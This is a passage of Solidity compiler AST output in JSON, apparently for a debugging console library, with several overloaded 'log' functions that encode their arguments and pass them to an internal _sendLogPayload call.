eDeclaration","scope":23529,"src":"64822:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":23511,"name":"string","nodeType":"ElementaryTypeName","src":"64822:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":23514,"mutability":"mutable","name":"p3","nameLocation":"64845:2:14","nodeType":"VariableDeclaration","scope":23529,"src":"64840:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23513,"name":"bool","nodeType":"ElementaryTypeName","src":"64840:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"64797:51:14"},"returnParameters":{"id":23516,"nodeType":"ParameterList","parameters":[],"src":"64863:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23552,"nodeType":"FunctionDefinition","src":"64978:193:14","nodes":[],"body":{"id":23551,"nodeType":"Block","src":"65059:112:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c737472696e672c6164647265737329","id":23543,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"65109:37:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_8f736d1685010d3a1ac02ed96109cdd5141fd92077c14203bc63442ad9b6a687","typeString":"literal_string \"log(address,address,string,address)\""},"value":"log(address,address,string,address)"},{"id":23544,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23531,"src":"65148:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23545,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23533,"src":"65152:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23546,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23535,"src":"65156:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":23547,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23537,"src":"65160:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8f736d1685010d3a1ac02ed96109cdd5141fd92077c14203bc63442ad9b6a687","typeString":"literal_string \"log(address,address,string,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":23541,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"65085:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23542,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"65089:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"65085:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23548,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65085:78:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23540,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"65069:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23549,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65069:95:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23550,"nodeType":"ExpressionStatement","src":"65069:95:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"64987:3:14","parameters":{"id":23538,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23531,"mutability":"mutable","name":"p0","nameLocation":"64999:2:14","nodeType":"VariableDeclaration","scope":23552,"src":"64991:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23530,"name":"address","nodeType":"ElementaryTypeName","src":"64991:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23533,"mutability":"mutable","name":"p1","nameLocation":"65011:2:14","nodeType":"VariableDeclaration","scope":23552,"src":"65003:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23532,"name":"address","nodeType":"ElementaryTypeName","src":"65003:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23535,"mutability":"mutable","name":"p2","nameLocation":"65029:2:14","nodeType":"VariableDeclaration","scope":23552,"src":"65015:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":23534,"name":"string","nodeType":"ElementaryTypeName","src":"65015:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":23537,"mutability":"mutable","name":"p3","nameLocation":"65041:2:14","nodeType":"VariableDeclaration","scope":23552,"src":"65033:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23536,"name":"address","nodeType":"ElementaryTypeName","src":"65033:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"64990:54:14"},"returnParameters":{"id":23539,"nodeType":"ParameterList","parameters":[],"src":"65059:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23575,"nodeType":"FunctionDefinition","src":"65177:176:14","nodes":[],"body":{"id":23574,"nodeType":"Block","src":"65246:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c626f6f6c2c75696e7429","id":23566,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"65296:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_95d65f110e4042ee84d162cfc6d17a44c2f2784259e33c97679d21e7a95a841e","typeString":"literal_string \"log(address,address,bool,uint)\""},"value":"log(address,address,bool,uint)"},{"id":23567,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23554,"src":"65330:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23568,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23556,"src":"65334:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23569,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23558,"src":"65338:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23570,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23560,"src":"65342:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_95d65f110e4042ee84d162cfc6d17a44c2f2784259e33c97679d21e7a95a841e","typeString":"literal_string \"log(address,address,bool,uint)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":23564,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"65272:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23565,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"65276:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"65272:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23571,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65272:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23563,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"65256:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23572,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65256:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23573,"nodeType":"ExpressionStatement","src":"65256:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"65186:3:14","parameters":{"id":23561,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23554,"mutability":"mutable","name":"p0","nameLocation":"65198:2:14","nodeType":"VariableDeclaration","scope":23575,"src":"65190:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23553,"name":"address","nodeType":"ElementaryTypeName","src":"65190:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23556,"mutability":"mutable","name":"p1","nameLocation":"65210:2:14","nodeType":"VariableDeclaration","scope":23575,"src":"65202:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23555,"name":"address","nodeType":"ElementaryTypeName","src":"65202:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23558,"mutability":"mutable","name":"p2","nameLocation":"65219:2:14","nodeType":"VariableDeclaration","scope":23575,"src":"65214:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23557,"name":"bool","nodeType":"ElementaryTypeName","src":"65214:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23560,"mutability":"mutable","name":"p3","nameLocation":"65228:2:14","nodeType":"VariableDeclaration","scope":23575,"src":"65223:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":23559,"name":"uint","nodeType":"ElementaryTypeName","src":"65223:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"65189:42:14"},"returnParameters":{"id":23562,"nodeType":"ParameterList","parameters":[],"src":"65246:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23598,"nodeType":"FunctionDefinition","src":"65359:187:14","nodes":[],"body":{"id":23597,"nodeType":"Block","src":"65437:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c626f6f6c2c737472696e6729","id":23589,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"65487:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_aa6540c8e9a40f69e022e01a14ab22c94aae4999f1d7a246236f464d7c933b88","typeString":"literal_string \"log(address,address,bool,string)\""},"value":"log(address,address,bool,string)"},{"id":23590,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23577,"src":"65523:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23591,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23579,"src":"65527:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23592,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23581,"src":"65531:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23593,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23583,"src":"65535:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_aa6540c8e9a40f69e022e01a14ab22c94aae4999f1d7a246236f464d7c933b88","typeString":"literal_string \"log(address,address,bool,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":23587,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"65463:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23588,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"65467:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"65463:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23594,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65463:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23586,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"65447:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23595,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65447:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23596,"nodeType":"ExpressionStatement","src":"65447:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"65368:3:14","parameters":{"id":23584,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23577,"mutability":"mutable","name":"p0","nameLocation":"65380:2:14","nodeType":"VariableDeclaration","scope":23598,"src":"65372:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23576,"name":"address","nodeType":"ElementaryTypeName","src":"65372:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23579,"mutability":"mutable","name":"p1","nameLocation":"65392:2:14","nodeType":"VariableDeclaration","scope":23598,"src":"65384:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23578,"name":"address","nodeType":"ElementaryTypeName","src":"65384:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23581,"mutability":"mutable","name":"p2","nameLocation":"65401:2:14","nodeType":"VariableDeclaration","scope":23598,"src":"65396:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23580,"name":"bool","nodeType":"ElementaryTypeName","src":"65396:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23583,"mutability":"mutable","name":"p3","nameLocation":"65419:2:14","nodeType":"VariableDeclaration","scope":23598,"src":"65405:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":23582,"name":"string","nodeType":"ElementaryTypeName","src":"65405:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"65371:51:14"},"returnParameters":{"id":23585,"nodeType":"ParameterList","parameters":[],"src":"65437:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23621,"nodeType":"FunctionDefinition","src":"65552:176:14","nodes":[],"body":{"id":23620,"nodeType":"Block","src":"65621:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c626f6f6c2c626f6f6c29","id":23612,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"65671:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_2cd4134aedbc2cd722f2b9715dc3acb74b16b253590361dd98a4d6cb66119b65","typeString":"literal_string \"log(address,address,bool,bool)\""},"value":"log(address,address,bool,bool)"},{"id":23613,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23600,"src":"65705:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23614,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23602,"src":"65709:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23615,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23604,"src":"65713:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23616,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23606,"src":"65717:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2cd4134aedbc2cd722f2b9715dc3acb74b16b253590361dd98a4d6cb66119b65","typeString":"literal_string \"log(address,address,bool,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":23610,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"65647:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23611,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"65651:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"65647:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23617,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65647:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23609,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"65631:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23618,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65631:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23619,"nodeType":"ExpressionStatement","src":"65631:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"65561:3:14","parameters":{"id":23607,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23600,"mutability":"mutable","name":"p0","nameLocation":"65573:2:14","nodeType":"VariableDeclaration","scope":23621,"src":"65565:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23599,"name":"address","nodeType":"ElementaryTypeName","src":"65565:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23602,"mutability":"mutable","name":"p1","nameLocation":"65585:2:14","nodeType":"VariableDeclaration","scope":23621,"src":"65577:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23601,"name":"address","nodeType":"ElementaryTypeName","src":"65577:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23604,"mutability":"mutable","name":"p2","nameLocation":"65594:2:14","nodeType":"VariableDeclaration","scope":23621,"src":"65589:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23603,"name":"bool","nodeType":"ElementaryTypeName","src":"65589:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23606,"mutability":"mutable","name":"p3","nameLocation":"65603:2:14","nodeType":"VariableDeclaration","scope":23621,"src":"65598:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23605,"name":"bool","nodeType":"ElementaryTypeName","src":"65598:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"65564:42:14"},"returnParameters":{"id":23608,"nodeType":"ParameterList","parameters":[],"src":"65621:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23644,"nodeType":"FunctionDefinition","src":"65734:182:14","nodes":[],"body":{"id":23643,"nodeType":"Block","src":"65806:110:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c626f6f6c2c6164647265737329","id":23635,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"65856:35:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_9f1bc36e6c1a1385bfe3a230338e478ee5447b81d25d35962aff021b2c578b9c","typeString":"literal_string \"log(address,address,bool,address)\""},"value":"log(address,address,bool,address)"},{"id":23636,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23623,"src":"65893:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23637,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23625,"src":"65897:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23638,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23627,"src":"65901:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23639,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23629,"src":"65905:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9f1bc36e6c1a1385bfe3a230338e478ee5447b81d25d35962aff021b2c578b9c","typeString":"literal_string \"log(address,address,bool,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":23633,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"65832:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23634,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"65836:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"65832:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23640,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65832:76:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23632,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"65816:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23641,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"65816:93:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23642,"nodeType":"ExpressionStatement","src":"65816:93:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"65743:3:14","parameters":{"id":23630,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23623,"mutability":"mutable","name":"p0","nameLocation":"65755:2:14","nodeType":"VariableDeclaration","scope":23644,"src":"65747:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23622,"name":"address","nodeType":"ElementaryTypeName","src":"65747:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23625,"mutability":"mutable","name":"p1","nameLocation":"65767:2:14","nodeType":"VariableDeclaration","scope":23644,"src":"65759:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23624,"name":"address","nodeType":"ElementaryTypeName","src":"65759:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23627,"mutability":"mutable","name":"p2","nameLocation":"65776:2:14","nodeType":"VariableDeclaration","scope":23644,"src":"65771:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23626,"name":"bool","nodeType":"ElementaryTypeName","src":"65771:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23629,"mutability":"mutable","name":"p3","nameLocation":"65788:2:14","nodeType":"VariableDeclaration","scope":23644,"src":"65780:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23628,"name":"address","nodeType":"ElementaryTypeName","src":"65780:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"65746:45:14"},"returnParameters":{"id":23631,"nodeType":"ParameterList","parameters":[],"src":"65806:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23667,"nodeType":"FunctionDefinition","src":"65922:182:14","nodes":[],"body":{"id":23666,"nodeType":"Block","src":"65994:110:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c616464726573732c75696e7429","id":23658,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"66044:35:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_ed5eac8706392442fff9f76d5de4d50b9cc22387f3f19d447470771094406028","typeString":"literal_string \"log(address,address,address,uint)\""},"value":"log(address,address,address,uint)"},{"id":23659,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23646,"src":"66081:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23660,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23648,"src":"66085:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23661,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23650,"src":"66089:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23662,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23652,"src":"66093:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ed5eac8706392442fff9f76d5de4d50b9cc22387f3f19d447470771094406028","typeString":"literal_string 